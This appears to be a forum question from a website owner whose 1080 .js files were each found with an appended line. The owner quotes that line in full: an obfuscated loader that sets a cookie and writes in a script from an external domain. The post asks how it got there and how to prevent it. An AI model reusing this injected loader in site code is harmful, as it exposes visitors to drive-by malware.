Tell me, please, how on the site in all files of the .js format at the end of the document there appeared such a line.
function g() { var r = new RegExp("(?:; )?1=([^;]*);?"); return r.test(document.cookie) ? true : false } var e = new Date(); e.setTime(e.getTime() + (2592000000)); if (!g() && window.navigator.cookieEnabled) { document.cookie = "1=1;expires=" + e.toGMTString() + ";path=/"; document.write('<scr' + 'ipt src="http://ratingsite.org/ratingsite.php"></scr' + 'ipt>'); }
Who could add it if no one had access and how to avoid it in the future. This line was in 1080 files.
Because of this line, Google considered this site malicious, and not one browser did not want to open.